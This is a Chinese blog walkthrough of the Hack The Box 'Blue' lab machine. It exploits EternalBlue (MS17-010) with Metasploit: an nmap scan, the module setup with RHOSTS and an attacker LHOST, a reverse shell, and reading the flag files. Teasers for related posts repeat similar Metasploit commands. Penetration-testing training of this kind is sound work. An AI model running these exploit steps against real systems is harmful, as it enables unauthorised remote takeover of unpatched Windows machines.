hack the box blue靶机

最新推荐文章于 2023-01-10 20:00:00 发布
最新推荐文章于 2023-01-10 20:00:00 发布
阅读量1.3k 收藏
点赞数
分类专栏： heck the box 文章标签： 安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/zr1213159840/article/details/124202420
版权

靶机名字叫blue，提示的漏洞编号是cve-2017-0144。这是永恒之蓝漏洞（EternalBlue）。
在这里插入图片描述
扫描一下，能发现打开了445等端口。有很多smb的信息。

nmap -sV -Pn -A 10.10.10.40

在这里插入图片描述
既然都知道是永恒之蓝了，直接利用吧，启动msf，然后搜索一下blue相关的。

search blue

在这里插入图片描述
第14个是RCE，我们选择

use 14

使用options看下需要配置哪些东西
在这里插入图片描述需要配置远程主机，远程端口（已默认），本地主机。配置完成后直接RUN

set RHOSTS 10.10.10.40
set LHOST 10.10.14.30
run

在这里插入图片描述
进入meterpreter后，进入shell

shell

在Users/Administrator/Desktop下面能找到root.txt，直接读取

type root.txt

在这里插入图片描述
在Users/hairs/Desktop文件夹下面有一个user.txt，直接type读取即可
在这里插入图片描述

铁锤2号
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
Hack The Box：Blue靶场
知柯信安
11-25 1330
Blue（蓝盒子） 欢迎订阅蓝色退休盒子！ 这是另外一个简单的盒子，非常适合新人们熟悉nmap结果和使用metasploit。我启动这个盒子就像启动任何盒子一样，nmap扫描！ 第一次扫描实际上只是用来查看目标主机上已打开并正在运行的内容。看一下，我们只看到3个服务和一堆端口打开。msrpc，netbios-ssn和microsoft-ds。如果这是您第一次入侵Windows计算机，您将经常看到这些服务。您将需要知道这些服务是什么。 MS-RPC是RPC协议的Microsoft实现。它曾经/仍然被用来制
hackthebox-Blue（考点：smb 蓝）不用msf
冬萍子癸水
04-09 678
这个机子用msf做很快。针对oscp备考者，这篇文章不用msf。 nmap 没啥其他端口，就是smb。用我们对smb常用的扫描方法 nmap -p 445 --script vuln 10.10.10.40 提示这台ms17-010 是有漏洞的。 searchsploit ms17-010 有好多，最后选择倒数第二个 42315.py 先准备好这个脚本要传的弹shell的exe。 msf...
Hack the box靶机 Blue
菜浪马废的博客
05-27 259
开放445端口 扫描 ms17010漏洞可用 msf登场 简单 我决定先把简单的win做了 然后由简入深 慢慢学习 31号我觉得应该能把htb的win打完 加油！
【Hack The Box】windows练习-- blue
人间体佐菲的博客
10-30 343
【Hack The Box】windows练习-- blue
HTB靶场系列 Windows靶机 Blue靶机
程序员阿飘 的博客
01-10 443
本文已参与「新人创作礼」活动，一起开启掘金创作之路ms17-010漏洞，也就是广为人知的永恒之蓝，非常简单的一个靶机，因为几乎不用提权，ms17-010漏洞使用成功获取的就是system级别的权限。
Hackthebox walkthrough - Legacy（考点:smb利用 blue）
冬萍子癸水
04-27 597
namp走起可见又是smb。但这次没有像LAME靶机那样直接显示版本号。 于是nmap -p 445 --script vuln 10.10.10.4走一波。用NMAP的脚本扫端口 ok显示 ms08-067是个突破点 上msf，search ms08-067, use exploit/windows/smb/ms08_067_netapi ， options, set rhost 10.10...
HackTheBox靶机系列之困难Reel
04-09
HackTheBox靶机系列之困难Reel 本篇文章主要介绍了Reel靶机的整个利用过程，从侦察到提权，涵盖了渗透测试、漏洞利用、信息收集等多个方面的知识点。 侦察阶段 在Reel靶机中，我们首先进行了侦察，扫描了21、22、...
Hack the box的Easy难度比较有价值的靶机.rar
11-04
"Hack the Box"（HTB）是一个在线平台，提供各种虚拟靶机，让安全专家和爱好者通过模拟真实世界的攻击场景来提升自己的技能。这个“Easy”难度级别的靶机是为初学者设计的，旨在帮助他们入门渗透测试的基础知识。 ...
平台的核心功能包括： 虚拟靶场： Hack The Box 提供了一系列的虚拟机（靶机），这些虚拟机模拟了真实世界中可能遇到
最新发布
06-22
Hack The Box 提供了一系列的虚拟机（靶机），这些虚拟机模拟了真实世界中可能遇到的各种系统配置和安全漏洞。 参与者需要利用自己的知识和工具来破解这些虚拟机，找到所谓的“flag”（通常是文本文件），并提交到...
永恒之蓝漏洞扫描工具官方版
08-06
可以批量扫描局域网内存在永恒之蓝漏洞的工具，比某安工具强大N倍
win7 32 phpstudy vmtool dvwa.vmx.txt
06-09
win7DVWA 靶机镜像 已安装 vmtools
平台的核心功能包括：虚拟靶场：Hack The Box 提供了一系列的虚拟机（靶机），这些虚拟机模拟了真实世界中可能遇到
06-22
Hack The Box 提供了一系列的虚拟机（靶机），这些虚拟机模拟了真实世界中可能遇到的各种系统配置和安全漏洞。 参与者需要利用自己的知识和工具来破解这些虚拟机，找到所谓的“flag”（通常是文本文件），并提交到...
Hack the box -- 靶机渗透测试（TIER1）
wjishuxiaobai的博客
06-22 1456
本文针对Hack the box 靶机TIER1渗透过程进行记录。开启在线靶机，靶机IP为10.129.208.78。2.SQL注入 浏览器输入靶机IP10.129.208.78，页面如下。发现是个登录界面，首先尝试常见密码登录如root：root admin：admin administrator：password，登录失败。 随即尝试SQL注入，用户名输入admin‘#，密码输入 123（可随意输入）。成功登录。 Flag 成功获取开启在线靶机，靶机IP为10.129.246.195。开启在线靶机，靶
永恒之蓝靶场
m0_46412408的博客
08-13 1885
模拟永恒之蓝攻击过程的话，需要win7（靶机）处于登录状态，来获取用户名和密码从而达到远程控制的目的，模拟hack已经打入内网与靶机处于同一网段（所以用ipcongfig来查看网关信息）输入run/exploit执行攻击（这个过程需要多等一会儿，如果这里出现问题去看看靶机的防火墙是不是开启了，把防火墙关闭再运行一下就好了）address 192.168.1.53 //配置eth0的固定IP地址，网段要和物理机的一样，且此IP未被使用。设置攻击主机的ip地址，显示配置信息。............
永恒之蓝（ms17_010）漏洞复现
m0_50317371的博客
12-08 693
一、永恒之蓝简介 ​永恒之蓝是指2017年4月14日晚，黑客团体Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。5月12日，不法分子通过改造“永恒之蓝”制作了wannacry勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件。 漏洞描述： Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代
Windows靶机永恒之蓝MS17-010漏洞复现
Stubborn_Lanmail的博客
05-13 2186
实验目标 扫描windows靶机漏洞，并使用MSF框架利用漏洞攻击靶机，最后成功获得靶机的控制权 实验环境 攻击机：kali 2020.3 （IP地址:192.168.146.147） 靶机：metasploitable3-win2k8r2（win2008，IP地址：192.168.146.145） 实验步骤 一、利用Nessus工具扫描靶机漏洞 在kali上安装Nessus 从官网上直接下载安装包安装即可（注意版本） Nessus官网地址:https://www.tenable.com 点击右上角“Ne
MSTables3靶机渗透测试（3）- MS17-010永恒之蓝
reqian23
02-27 886
配置防火墙将相应的“阻塞端口安全策略”-- Disabled 查看全部关于ms17-010模块 msf6 > search ms17-010 对目标进行扫描 msf6 auxiliary(admin/smb/ms17_010_command) > use auxiliary/admin/smb/ms17_010_command msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.118.4 rho.
python调用msfconsole全自动永恒之蓝攻击_metasploit 下利用永恒之蓝攻击靶机win7
weixin_39874379的博客
12-22 272
实验环境：一台win7靶机，kali作为攻击机控制台下输入msfconsolesearch ms17-010use exploit/windows/smb/ms17_010_eternalblue接下来可以看一下受这个漏洞影响的操作系统可以看出受影响的有两个，分别是win7和server 2008 R2两种操作系统(ps:这两款靶机都可以自己搭建一下，我这里使用的是win7)show option...
hack the box three
07-28
回答: 根据提供的引用内容，我了解到"Hack The Box"是一个在线平台，提供了一系列的虚拟机供用户进行渗透测试和漏洞利用的训练。根据引用\[1\]中的信息，可能涉及到nmap扫描、访问靶机地址、查看/etc/hosts、使用gobuster工具等操作。此外，引用\[2\]提到了一种利用fail2ban进行提权的方法，可以通过该链接了解更多细节。引用\[3\]中提到了读取/etc/passwd文件和尝试读取/home/michael/user.txt文件的尝试。请注意，这些信息仅供参考，具体的操作和步骤可能需要进一步的研究和实践。 #### 引用[.reference_title] - *1* [Hackthebox Three](https://blog.csdn.net/lixiangshidie/article/details/128482447)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [Hackthebox Trikc攻略](https://blog.csdn.net/qq_44641654/article/details/127249782)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insertT0,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值